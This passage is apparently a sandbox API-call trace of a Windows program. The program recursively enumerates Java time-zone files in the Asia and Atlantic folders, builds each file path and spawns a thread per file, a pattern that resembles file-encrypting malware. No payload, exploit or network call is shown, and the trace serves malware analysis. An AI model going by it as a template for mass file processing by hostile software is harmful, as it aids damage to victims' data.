dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a30 [0183.911] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x105, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tashkent", cAlternateFileName="")) returned 1 [0183.911] wcscmp (_String1="Tashkent", _String2=".") returned 1 [0183.911] wcscmp (_String1="Tashkent", _String2="..") returned 1 [0183.911] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x12cf9248 [0183.911] wcscpy (in: _Dest=0x12cf9248, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0183.911] wcscat (in: _Dest=0x12cf9248, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0183.911] wcscat (in: _Dest=0x12cf9248, _Source="Tashkent" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Tashkent") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Tashkent" [0183.911] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12cf9248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a48 [0183.912] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tbilisi", cAlternateFileName="")) returned 1 [0183.912] wcscmp (_String1="Tbilisi", _String2=".") returned 1 [0183.912] wcscmp (_String1="Tbilisi", _String2="..") returned 1 [0183.912] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x12cf92c0 [0183.912] wcscpy (in: _Dest=0x12cf92c0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0183.912] wcscat (in: _Dest=0x12cf92c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0183.912] wcscat (in: _Dest=0x12cf92c0, _Source="Tbilisi" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Tbilisi") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Tbilisi" [0183.912] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12cf92c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17a4 [0183.913] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x37c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tehran", cAlternateFileName="")) returned 1 [0183.914] wcscmp (_String1="Tehran", _String2=".") returned 1 [0183.914] wcscmp (_String1="Tehran", _String2="..") returned 1 [0183.914] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x68) returned 0x8f0db8 [0183.914] wcscpy (in: _Dest=0x8f0db8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0183.914] wcscat (in: _Dest=0x8f0db8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0183.914] wcscat (in: _Dest=0x8f0db8, _Source="Tehran" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Tehran") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Tehran" [0183.914] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f0db8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18dc [0183.915] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thimphu", cAlternateFileName="")) returned 1 [0184.262] wcscmp (_String1="Thimphu", _String2=".") returned 1 [0184.262] wcscmp (_String1="Thimphu", _String2="..") returned 1 [0184.262] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x93c698 [0184.262] wcscpy (in: _Dest=0x93c698, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0184.262] wcscat (in: _Dest=0x93c698, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0184.262] wcscat (in: _Dest=0x93c698, _Source="Thimphu" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Thimphu") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Thimphu" [0189.287] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c698, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a9c [0189.288] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tokyo", cAlternateFileName="")) returned 1 [0189.288] wcscmp (_String1="Tokyo", _String2=".") returned 1 [0189.288] wcscmp (_String1="Tokyo", _String2="..") returned 1 [0189.288] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x66) returned 0x8f1288 [0189.288] wcscpy (in: _Dest=0x8f1288, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0189.288] wcscat (in: _Dest=0x8f1288, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0189.288] wcscat (in: _Dest=0x8f1288, _Source="Tokyo" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Tokyo") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Tokyo" [0189.289] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f1288, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12bc [0189.289] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ulaanbaatar", cAlternateFileName="ULAANB~1")) returned 1 [0189.290] wcscmp (_String1="Ulaanbaatar", _String2=".") returned 1 [0189.290] wcscmp (_String1="Ulaanbaatar", _String2="..") returned 1 [0189.290] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8d0c00 [0189.290] wcscpy (in: _Dest=0x8d0c00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0189.290] wcscat (in: _Dest=0x8d0c00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0189.290] wcscat (in: _Dest=0x8d0c00, _Source="Ulaanbaatar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Ulaanbaatar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Ulaanbaatar" [0189.290] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0c00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14cc [0189.291] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Urumqi", cAlternateFileName="")) returned 1 [0189.291] wcscmp (_String1="Urumqi", _String2=".") returned 1 [0189.291] wcscmp (_String1="Urumqi", _String2="..") returned 1 [0189.291] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x68) returned 0x8f13d8 [0189.291] wcscpy (in: _Dest=0x8f13d8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0189.291] wcscat (in: _Dest=0x8f13d8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0189.291] wcscat (in: _Dest=0x8f13d8, _Source="Urumqi" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Urumqi") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Urumqi" [0189.291] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f13d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xafc [0189.292] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x255, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ust-Nera", cAlternateFileName="")) returned 1 [0189.292] wcscmp (_String1="Ust-Nera", _String2=".") returned 1 [0189.292] wcscmp (_String1="Ust-Nera", _String2="..") returned 1 [0189.292] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x93c9e0 [0189.292] wcscpy (in: _Dest=0x93c9e0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0189.292] wcscat (in: _Dest=0x93c9e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0189.292] wcscat (in: _Dest=0x93c9e0, _Source="Ust-Nera" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Ust-Nera") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Ust-Nera" [0189.292] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c9e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14c8 [0189.293] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vientiane", cAlternateFileName="VIENTI~1")) returned 1 [0189.293] wcscmp (_String1="Vientiane", _String2=".") returned 1 [0189.293] wcscmp (_String1="Vientiane", _String2="..") returned 1 [0189.293] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x93c170 [0189.293] wcscpy (in: _Dest=0x93c170, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0189.293] wcscat (in: _Dest=0x93c170, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0189.293] wcscat (in: _Dest=0x93c170, _Source="Vientiane" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Vientiane") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Vientiane" [0189.293] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c4 [0189.294] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vladivostok", cAlternateFileName="VLADIV~1")) returned 1 [0189.294] wcscmp (_String1="Vladivostok", _String2=".") returned 1 [0189.294] wcscmp (_String1="Vladivostok", _String2="..") returned 1 [0189.295] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8d0180 [0189.295] wcscpy (in: _Dest=0x8d0180, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0189.295] wcscat (in: _Dest=0x8d0180, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0189.295] wcscat (in: _Dest=0x8d0180, _Source="Vladivostok" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Vladivostok") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Vladivostok" [0189.295] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x860 [0189.296] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="Yakutsk", cAlternateFileName="")) returned 1 [0189.296] wcscmp (_String1="Yakutsk", _String2=".") returned 1 [0189.296] wcscmp (_String1="Yakutsk", _String2="..") returned 1 [0189.296] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x93c0f8 [0189.296] wcscpy (in: _Dest=0x93c0f8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0189.296] wcscat (in: _Dest=0x93c0f8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0189.296] wcscat (in: _Dest=0x93c0f8, _Source="Yakutsk" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Yakutsk") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Yakutsk" [0189.296] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c0f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbcc [0189.297] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="Yekaterinburg", cAlternateFileName="YEKATE~1")) returned 1 [0189.297] wcscmp (_String1="Yekaterinburg", _String2=".") returned 1 [0189.297] wcscmp (_String1="Yekaterinburg", _String2="..") returned 1 [0189.297] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x8d0500 [0189.297] wcscpy (in: _Dest=0x8d0500, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0189.297] wcscat (in: _Dest=0x8d0500, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0189.297] wcscat (in: _Dest=0x8d0500, _Source="Yekaterinburg" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Yekaterinburg") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Yekaterinburg" [0189.297] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0500, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17ec [0189.298] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x235, dwReserved0=0x0, dwReserved1=0x0, cFileName="Yerevan", cAlternateFileName="")) returned 1 [0189.298] wcscmp (_String1="Yerevan", _String2=".") returned 1 [0189.298] wcscmp (_String1="Yerevan", _String2="..") returned 1 [0189.299] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x93c788 [0189.299] wcscpy (in: _Dest=0x93c788, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0189.299] wcscat (in: _Dest=0x93c788, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0189.299] wcscat (in: _Dest=0x93c788, _Source="Yerevan" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Yerevan") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Yerevan" [0189.299] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c788, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x778 [0189.300] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x235, dwReserved0=0x0, dwReserved1=0x0, cFileName="Yerevan", cAlternateFileName="")) returned 0 [0189.300] FindClose (in: hFindFile=0x93ba38 | out: hFindFile=0x93ba38) returned 1 [0189.301] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92c238) returned 1 [0189.301] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90ee88) returned 1 [0189.301] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90ec18) returned 1 Thread: id = 5289 os_tid = 0xee0 [0164.238] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x66) returned 0x8f0e28 [0164.239] wcscpy (in: _Dest=0x8f0e28, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" [0164.239] wcscat (in: _Dest=0x8f0e28, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\" [0164.239] wcscat (in: _Dest=0x8f0e28, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\*" [0164.239] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x929bb8 [0164.239] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\*", lpFindFileData=0x929bb8 | out: lpFindFileData=0x929bb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b538 [0170.587] wcscmp (_String1=".", _String2=".") returned 0 [0170.587] FindNextFileW (in: hFindFile=0x93b538, lpFindFileData=0x929bb8 | out: lpFindFileData=0x929bb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.587] wcscmp (_String1="..", _String2=".") returned 1 [0170.587] wcscmp (_String1="..", _String2="..") returned 0 [0170.587] FindNextFileW (in: hFindFile=0x93b538, lpFindFileData=0x929bb8 | out: lpFindFileData=0x929bb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x74c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Azores", cAlternateFileName="")) returned 1 [0170.587] wcscmp (_String1="Azores", _String2=".") returned 1 [0170.587] wcscmp (_String1="Azores", _String2="..") returned 1 [0170.587] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8e8e18 [0170.587] wcscpy (in: _Dest=0x8e8e18, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" [0170.587] wcscat (in: _Dest=0x8e8e18, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\" [0170.587] wcscat (in: _Dest=0x8e8e18, _Source="Azores" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Azores") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Azores" [0173.030] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8e18, dwCreationFlags=0x0, 